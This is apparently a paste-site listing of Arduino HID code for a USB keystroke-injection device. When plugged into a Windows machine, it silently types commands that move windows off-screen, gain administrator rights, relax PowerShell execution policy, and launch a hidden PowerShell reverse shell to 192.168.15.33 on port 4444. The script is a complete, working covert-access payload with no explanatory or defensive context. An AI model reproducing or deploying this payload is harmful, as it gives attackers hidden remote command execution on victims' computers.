Kurobeats icon

rev-shell.ps1

Kurobeats | PRO | 10/12/18 12:48:27 AM UTC | 0 ⭐ | 277 👁️ | Never ⏰ | []
C |

2.87 KB

|

None

|

0 👍

/

0 👎

#include <HID-Project.h>
#include <HID-Settings.h>
 
// Utility function
void typeKey(int key){
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}
 
void setup()
{
  // Start Keyboard and Mouse
  AbsoluteMouse.begin();
  Keyboard.begin();
 
  // Start Payload
  delay(750);
 
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(114);
  Keyboard.releaseAll();
 
  delay(1000);
 
  Keyboard.print("powershell Start-Process notepad -Verb runAs");
 
  typeKey(KEY_RETURN);
 
  delay(750);
 
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(121);
  Keyboard.releaseAll();
 
  delay(750);
 
  typeKey(KEY_RETURN);
 
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(' ');
  Keyboard.releaseAll();
 
  delay(1000);
 
  Keyboard.print("m");
 
  delay(1000);
 
  for(int i = 0; i < 100; i++) {
    typeKey(KEY_DOWN_ARROW);
  }
 
  typeKey(KEY_RETURN);
 
  Keyboard.print("Add-Content \"$env:TEMP\\98954.ps1\" '$c = New-Object System.Net.Sockets.TCPClient(\"192.168.15.33\",4444);$s = $c.GetStream();[byte[]]$b = 0..255|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $d 2>&1 | Out-String );$sb2  = $sb + \"PS \" + (pwd).Path + \"> \";$sby = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()};$c.Close()'");
 
  typeKey(KEY_RETURN);
 
  Keyboard.print("start-Process powershell.exe -windowstyle hidden \"$env:TEMP\\98954.ps1\"");
 
  typeKey(KEY_RETURN);
 
  Keyboard.print("Remove-Item $MyINvocation.InvocationName");
 
  typeKey(KEY_RETURN);
 
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(115);
  Keyboard.releaseAll();
 
  delay(1000);
 
  Keyboard.print("C:\\Windows\\config-98954.ps1");
 
  typeKey(KEY_RETURN);
 
  delay(1000);
 
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();
 
  delay(750);
 
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(114);
  Keyboard.releaseAll();
 
  delay(750);
 
  Keyboard.print("powershell Start-Process cmd -Verb runAs");
 
  typeKey(KEY_RETURN);
 
  delay(750);
 
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(121);
  Keyboard.releaseAll();
 
  delay(1000);
 
  Keyboard.print("mode con:cols=14 lines=1");
 
  typeKey(KEY_RETURN);
 
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(' ');
  Keyboard.releaseAll();
 
  delay(750);
 
  Keyboard.print("m");
 
  delay(750);
 
  for(int i = 0; i < 100; i++) {
    typeKey(KEY_DOWN_ARROW);
  }
 
  typeKey(KEY_RETURN);
 
  Keyboard.print("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false");
 
  typeKey(KEY_RETURN);
 
  delay(750);
 
  Keyboard.print("powershell.exe -windowstyle hidden -File C:\\Windows\\config-98954.ps1");
 
  typeKey(KEY_RETURN);
 
  // End Payload
 
  // Stop Keyboard and Mouse
  Keyboard.end();
  AbsoluteMouse.end();
}
 
// Unused
void loop() {}

Comments